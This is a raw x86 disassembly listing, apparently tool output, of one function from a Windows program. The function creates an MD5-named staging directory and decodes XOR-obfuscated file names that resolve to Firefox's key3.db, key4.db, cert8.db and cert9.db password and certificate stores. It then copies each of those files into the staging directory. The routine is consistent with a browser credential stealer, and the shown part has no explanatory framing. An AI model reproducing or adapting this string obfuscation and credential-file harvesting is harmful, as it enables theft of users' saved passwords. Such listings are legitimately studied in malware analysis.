lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x435351
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x436412
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
push ecx
cmovae eax, dword [ebx + 0x20]
lea ecx, [ebp - 0xd6]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x28c]
call fcn.0046cf70
or edi, 2
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0x29
lea esi, [ebp - 0x28c]
cmp dword [ebp - 0x278], 0x10
push 0x536230
cmovae esi, dword [ebp - 0x28c]
call fcn.004db9f2
add esp, 4
test eax, eax
jne 0x436417
test esi, esi
je 0x435410
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4353d0
sub ecx, edx
je 0x435410
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x435401
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x435401
cmp eax, 0x20
je 0x435401
cmp eax, 0x45
je 0x435401
cmp eax, 0x24
jne 0x435410
push 0x536230
call fcn.004dba03
add esp, 4
jmp 0x435442
push 0x536230
call fcn.004dba03
add esp, 4
lea eax, [ebp - 0x28c]
cmp dword [ebp - 0x278], 0x10
cmovae eax, dword [ebp - 0x28c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4360bd
xorps xmm0, xmm0
mov byte [ebp - 0x2b4], 0
lea ecx, [ebp - 0x6a0]
mov dword [ebp - 0x598], 0x67452301
movups xmmword [ebp - 0x2d4], xmm0
mov dword [ebp - 0x594], 0xefcdab89
lea edx, [ecx + 1]
movups xmmword [ebp - 0x2c4], xmm0
mov dword [ebp - 0x590], 0x98badcfe
mov dword [ebp - 0x58c], 0x10325476
mov dword [ebp - 0x588], 0
mov dword [ebp - 0x584], 0
mov dword [ebp - 0x580], 0
mov byte [ebp - 0x4fc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4354b0
sub ecx, edx
lea eax, [ebp - 0x6a0]
push ecx
push eax
lea ecx, [ebp - 0x598]
call fcn.004803f0
push ecx
lea ecx, [ebp - 0x598]
call fcn.004804c0
cmp byte [ebp - 0x4fc], 0
je 0x435509
movups xmm0, xmmword [ebp - 0x4eb]
mov al, byte [ebp - 0x4cb]
mov byte [ebp - 0x2b4], al
movups xmmword [ebp - 0x2d4], xmm0
movups xmm0, xmmword [ebp - 0x4db]
movups xmmword [ebp - 0x2c4], xmm0
lea ecx, [ebp - 0x33]
mov word [ebp - 0xc6], 0x5f
mov byte [ebp - 0xc4], 0
lea edx, [ecx + 1]
mov word [ebp - 0x33], 0x5c
mov byte [ebp - 0x31], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x435530
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x27c]
sub eax, edx
cmp eax, ecx
jb 0x436412
cmp dword [ebp - 0x278], 0x10
lea eax, [ebp - 0x28c]
push ecx
cmovae eax, dword [ebp - 0x28c]
lea ecx, [ebp - 0x33]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2b0]
call fcn.0046cf70
or edi, 0x10
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0x2a
lea ecx, [ebx + 0x38]
cmp dword [ebx + 0x4c], 0x10
mov esi, dword [ebp - 0x29c]
mov eax, esi
cmovae ecx, dword [ebx + 0x38]
mov edi, dword [ebx + 0x48]
mov edx, dword [ebp - 0x2a0]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4355d7
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x2a0], eax
lea eax, [ebp - 0x2b0]
cmovae eax, dword [ebp - 0x2b0]
lea esi, [eax + edx]
push esi
call fcn.004de150
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0x2b0]
jmp 0x4355f0
mov byte [ebp - 0x264], 0
lea ecx, [ebp - 0x2b0]
push dword [ebp - 0x264]
push edi
call fcn.0046b360
mov edi, dword [ebp - 0x18]
xorps xmm0, xmm0
movups xmmword [ebp - 0x238], xmm0
mov dword [ebp - 0x228], 0
or edi, 8
mov dword [ebp - 0x224], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x18], edi
movups xmmword [ebp - 0x238], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x228], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xc6]
mov byte [ebp - 4], 0x2b
push eax
lea ecx, [ebp - 0x238]
call fcn.004652c0
mov dword [ebp - 0x358], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x368], xmm0
mov dword [ebp - 0x354], 0
or edi, 4
movups xmm0, xmmword [eax]
mov dword [ebp - 0x18], edi
movups xmmword [ebp - 0x368], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x358], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2d4]
mov byte [ebp - 4], 0x2c
push eax
lea ecx, [ebp - 0x368]
call fcn.004652c0
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0
or edi, 0x20
movups xmm0, xmmword [eax]
mov dword [ebp - 0x18], edi
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x2e
mov ecx, dword [ebp - 0x354]
cmp ecx, 0x10
jb 0x435741
mov edx, dword [ebp - 0x368]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x435737
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x354], 0xf
mov byte [ebp - 0x368], 0
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x224]
cmp ecx, 0x10
jb 0x43579a
mov edx, dword [ebp - 0x238]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x435790
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x224], 0xf
mov byte [ebp - 0x238], 0
mov byte [ebp - 4], 0x30
mov ecx, dword [ebp - 0x29c]
cmp ecx, 0x10
jb 0x4357f3
mov edx, dword [ebp - 0x2b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4357e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
cmp dword [ebp - 0x84], 0x10
lea esi, [ebp - 0x98]
push 0x536230
cmovae esi, dword [ebp - 0x98]
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 0x29c], 0xf
mov byte [ebp - 0x2b0], 0
call fcn.004db9f2
add esp, 4
test eax, eax
jne 0x436417
test esi, esi
je 0x435880
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x435840
sub ecx, edx
je 0x435880
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x435871
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x435871
cmp eax, 0x20
je 0x435871
cmp eax, 0x45
je 0x435871
cmp eax, 0x24
jne 0x435880
push 0x536230
call fcn.004dba03
add esp, 4
jmp 0x4358a9
push 0x536230
call fcn.004dba03
add esp, 4
lea ecx, [ebp - 0x98]
push 0
call fcn.004027a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x43607f
mov dword [ebp - 0x44], 0x11020d39
xor ecx, ecx
mov dword [ebp - 0x40], 0xe0f445a
mov word [ebp - 0x3c], 0x100
nop
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 8
jb 0x4358c0
sub esp, 0x18
mov byte [ebp - 0x3b], 0
mov esi, esp
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4358e0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x1ec]
sub eax, edx
cmp eax, ecx
jb 0x436412
cmp dword [ebp - 0x1e8], 0x10
lea eax, [ebp - 0x1fc]
push ecx
cmovae eax, dword [ebp - 0x1fc]
lea ecx, [ebp - 0x44]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
mov ecx, esi
call fcn.0046cf70
or edi, 0x100
mov dword [ebp - 0x18], edi
call fcn.0040ba20
add esp, 0x18
test al, al
je 0x435a93
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x100], 0x1000412
call fcn.00409f30
lea ecx, [ebp - 0x159]
mov dword [ebp - 0x159], 0x11020d39
mov esi, eax
mov dword [ebp - 0x155], 0xe0f445a
mov word [ebp - 0x151], 0x100
call fcn.0040e990
push eax
lea edx, [ebp - 0x98]
lea ecx, [ebp - 0x2cc]
call fcn.00469300
add esp, 4
mov ecx, eax
call fcn.004027a0
push esi
push eax
call fcn.004e2540
add esp, 8
lea ecx, [ebp - 0x2cc]
mov edi, eax
call fcn.00402660
test edi, edi
je 0x435a90
sub esp, 0x18
mov dword [ebp - 0x145], 0x5b1e030e
lea ecx, [ebp - 0x145]
mov dword [ebp - 0x141], 0x90e47
mov byte [ebp - 0x13d], 1
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.0040b3d0
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x163]
mov dword [ebp - 0x163], 0x11020d39
mov dword [ebp - 0x15f], 0xe0f445a
mov esi, esp
mov word [ebp - 0x15b], 0x100
call fcn.0040e990
push eax
lea edx, [ebp - 0x1fc]
mov ecx, esi
call fcn.00469300
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x4c8]
call fcn.00433bd0
add esp, 0x20
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x220]
push ecx
mov ecx, eax
call fcn.00462de0
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x30
call fcn.00463050
lea ecx, [ebp - 0x220]
call fcn.004027a0
push edi
push dword [ebp - 0x210]
push 1
push eax
call fcn.004ea348
push edi
call fcn.004e5dc8
add esp, 0x14
lea ecx, [ebp - 0x220]
call fcn.00402660
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x4e], 0x11020d39
xor ecx, ecx
mov dword [ebp - 0x4a], 0xe0f445d
mov word [ebp - 0x46], 0x100
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x4e], al
inc ecx
cmp ecx, 8
jb 0x435ab0
sub esp, 0x18
mov byte [ebp - 0x45], 0
mov esi, esp
lea ecx, [ebp - 0x4e]
mov dword [ebp - 0x14], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x435ad0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x1ec]
sub eax, edx
cmp eax, ecx
jb 0x436412
cmp dword [ebp - 0x1e8], 0x10
lea eax, [ebp - 0x1fc]
push ecx
cmovae eax, dword [ebp - 0x1fc]
lea ecx, [ebp - 0x4e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
mov ecx, esi
call fcn.0046cf70
or edi, 0x200
mov dword [ebp - 0x18], edi
call fcn.0040ba20
add esp, 0x18
test al, al
je 0x435c83
lea ecx, [ebp - 0x104]
mov dword [ebp - 0x104], 0x1000412
call fcn.00409f30
lea ecx, [ebp - 0x16d]
mov dword [ebp - 0x16d], 0x11020d39
mov esi, eax
mov dword [ebp - 0x169], 0xe0f445d
mov word [ebp - 0x165], 0x100
call fcn.0040e990
push eax
lea edx, [ebp - 0x98]
lea ecx, [ebp - 0x2cc]
call fcn.00469300
add esp, 4
mov ecx, eax
call fcn.004027a0
push esi
push eax
call fcn.004e2540
add esp, 8
lea ecx, [ebp - 0x2cc]
mov edi, eax
call fcn.00402660
test edi, edi
je 0x435c80
sub esp, 0x18
mov dword [ebp - 0x13c], 0x5c1e030e
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x138], 0x90e47
mov byte [ebp - 0x134], 1
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.0040b3d0
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x177]
mov dword [ebp - 0x177], 0x11020d39
mov dword [ebp - 0x173], 0xe0f445d
mov esi, esp
mov word [ebp - 0x16f], 0x100
call fcn.0040e990
push eax
lea edx, [ebp - 0x1fc]
mov ecx, esi
call fcn.00469300
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x498]
call fcn.00433bd0
add esp, 0x20
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x220]
push ecx
mov ecx, eax
call fcn.00462de0
lea ecx, [ebp - 0x498]
mov byte [ebp - 4], 0x30
call fcn.00463050
lea ecx, [ebp - 0x220]
call fcn.004027a0
push edi
push dword [ebp - 0x210]
push 1
push eax
call fcn.004ea348
push edi
call fcn.004e5dc8
add esp, 0x14
lea ecx, [ebp - 0x220]
call fcn.00402660
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x64], 0x1a020539
xor ecx, ecx
mov dword [ebp - 0x60], 0x845521d
mov word [ebp - 0x5c], 0xf
mov byte [ebp - 0x5a], 1
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x64], al
inc ecx
cmp ecx, 9
jb 0x435ca0
sub esp, 0x18
mov byte [ebp - 0x5a], 0
mov esi, esp
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x14], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x435cc0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x1ec]
sub eax, edx
cmp eax, ecx
jb 0x436412
cmp dword [ebp - 0x1e8], 0x10
lea eax, [ebp - 0x1fc]
push ecx
cmovae eax, dword [ebp - 0x1fc]
lea ecx, [ebp - 0x64]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
mov ecx, esi
call fcn.0046cf70
or edi, 0x40
mov dword [ebp - 0x18], edi
call fcn.0040ba20
add esp, 0x18
test al, al
je 0x435e80
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x108], 0x1000412
call fcn.00409f30
lea ecx, [ebp - 0x1a1]
mov dword [ebp - 0x1a1], 0x1a020539
mov esi, eax
mov dword [ebp - 0x19d], 0x845521d
mov word [ebp - 0x199], 0xf
mov byte [ebp - 0x197], 1
call fcn.0040a0c0
push eax
lea edx, [ebp - 0x98]
lea ecx, [ebp - 0x2cc]
call fcn.00469300
add esp, 4
mov ecx, eax
call fcn.004027a0
push esi
push eax
call fcn.004e2540
add esp, 8
lea ecx, [ebp - 0x2cc]
mov edi, eax
call fcn.00402660
test edi, edi
je 0x435e7d
sub esp, 0x18
mov dword [ebp - 0x181], 0x1c150306
lea ecx, [ebp - 0x181]
mov dword [ebp - 0x17d], 0xe0f4451
mov word [ebp - 0x179], 0x100
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.0040e990
push eax
mov ecx, esi
call fcn.00402700
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x1ac]
sub esp, 0x18
mov dword [ebp - 0x1ac], 0x1a020539
mov dword [ebp - 0x1a8], 0x845521d
mov esi, esp
mov word [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1a2], 1
call fcn.0040a0c0
push eax
lea edx, [ebp - 0x1fc]
mov ecx, esi
call fcn.00469300
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x4a8]
call fcn.00433bd0
add esp, 0x20
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x220]
push ecx
mov ecx, eax
call fcn.00462de0
lea ecx, [ebp - 0x4a8]
mov byte [ebp - 4], 0x30
call fcn.00463050
lea ecx, [ebp - 0x220]
call fcn.004027a0
push edi
push dword [ebp - 0x210]
push 1
push eax
call fcn.004ea348
push edi
call fcn.004e5dc8
add esp, 0x14
lea ecx, [ebp - 0x220]
call fcn.00402660
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x59], 0x1a020539
xor ecx, ecx
mov dword [ebp - 0x55], 0x845531d
mov word [ebp - 0x51], 0xf
mov byte [ebp - 0x4f], 1
nop word [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x59], al
inc ecx
cmp ecx, 9
jb 0x435ea0
sub esp, 0x18
mov byte [ebp - 0x4f], 0
mov esi, esp
lea ecx, [ebp - 0x59]
mov dword [ebp - 0x14], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x435ec0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x1ec]
sub eax, edx
cmp eax, ecx
jb 0x436412
cmp dword [ebp - 0x1e8], 0x10
lea eax, [ebp - 0x1fc]
push ecx
cmovae eax, dword [ebp - 0x1fc]
lea ecx, [ebp - 0x59]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
mov ecx, esi
call fcn.0046cf70
or edi, 0x80
mov dword [ebp - 0x18], edi
call fcn.0040ba20
add esp, 0x18
test al, al
je 0x43607f
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x10c], 0x1000412
call fcn.00409f30
lea ecx, [ebp - 0x1b7]
mov dword [ebp - 0x1b7], 0x1a020539
mov esi, eax
mov dword [ebp - 0x1b3], 0x845531d
mov word [ebp - 0x1af], 0xf
mov byte [ebp - 0x1ad], 1
call fcn.0040a0c0
push eax
lea edx, [ebp - 0x98]
lea ecx, [ebp - 0x2cc]
call fcn.00469300
add esp, 4
mov ecx, eax
call fcn.004027a0
push esi
push eax
call fcn.004e2540
add esp, 8
lea ecx, [ebp - 0x2cc]
mov edi, eax
call fcn.00402660
test edi, edi
je 0x43607c
sub esp, 0x18
mov dword [ebp - 0x18b], 0x1c150306
lea ecx, [ebp - 0x18b]
mov dword [ebp - 0x187], 0xe0f4450
mov word [ebp - 0x183], 0x100
mov esi, esp
mov dword [ebp - 0x14], esp
call fcn.0040e990
push eax
mov ecx, esi
call fcn.00402700
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x196]
sub esp, 0x18
mov dword [ebp - 0x196], 0x1a020539
mov dword [ebp - 0x192], 0x845531d
mov esi, esp
mov word [ebp - 0x18e], 0xf
mov byte [ebp - 0x18c], 1
call fcn.0040a0c0
push eax
lea edx, [ebp - 0x1fc]
mov ecx, esi
call fcn.00469300
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x4b8]
call fcn.00433bd0
add esp, 0x20
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x220]
push ecx
mov ecx, eax
call fcn.00462de0
lea ecx, [ebp - 0x4b8]
call fcn.00463050
lea ecx, [ebp - 0x220]
call fcn.004027a0
push edi
push dword [ebp - 0x210]
push 1
push eax
call fcn.004ea348
push edi
call fcn.004e5dc8
add esp, 0x14
lea ecx, [ebp - 0x220]
call fcn.00402660
mov edi, dword [ebp - 0x18]
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x4360bd
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4360b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x278]
cmp ecx, 0x10
jb 0x4360fb
mov edx, dword [ebp - 0x28c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4360f1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
lea ecx, [ebp - 0x478]
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x278], 0xf
mov byte [ebp - 0x28c], 0
call fcn.00463050
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x3a4]
cmp ecx, 0x10
jb 0x43615f
mov edx, dword [ebp - 0x3b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436155
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x3d8]
cmp ecx, 0x10
jb 0x43619d
mov edx, dword [ebp - 0x3ec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436193
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x1e8]
mov dword [ebp - 0x3dc], 0
mov dword [ebp - 0x3d8], 0xf
mov byte [ebp - 0x3ec], 0
cmp ecx, 0x10
jb 0x4361f6
mov edx, dword [ebp - 0x1fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4361ec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
push dword [ebp - 0xf8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 0xf8]
inc edx
add edx, eax
mov dword [ebp - 0xf8], edx
cmp byte [edx], 0
jne 0x434170
mov ecx, dword [ebp - 0x3f0]
cmp ecx, 0x10
jb 0x436254
mov edx, dword [ebp - 0x404]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43624a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0x454]
mov dword [ebp - 0x3f4], 0
mov dword [ebp - 0x3f0], 0xf
mov byte [ebp - 0x404], 0
cmp ecx, 0x10
jb 0x4362a9
mov edx, dword [ebp - 0x468]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43629f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x4362dd
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4362d3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp ecx, 0x10
jb 0x436323
mov edx, dword [ebx + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436319
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebx + 0x4c]
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x34], 0xf
mov byte [ebx + 0x20], 0
cmp ecx, 0x10
jb 0x43639c
mov edx, dword [ebx + 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x436392
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
jmp 0x436392
lea ecx, [ebp - 0x248]
call fcn.00467290
push eax
lea ecx, [ebp - 0x2cc]
call fcn.00402700
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x220]
call fcn.00469420
add esp, 4
mov byte [ebp - 4], 0x22
jmp 0x4363ed
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov eax, dword [ebp - 0x204]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e1990
lea ecx, [ebp - 0x258]
call fcn.00467290
push eax
lea ecx, [ebp - 0x2cc]
call fcn.00402700
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x220]
call fcn.00469420
add esp, 4
mov byte [ebp - 4], 0x16
push eax
mov edx, 0x131
lea ecx, [ebp - 0x3d4]
call fcn.00408920
add esp, 4
lea eax, [ebp - 0x3d4]
push 0x531630
push eax
call fcn.004de0db
call fcn.00402040
push eax
call fcn.004db69b
int3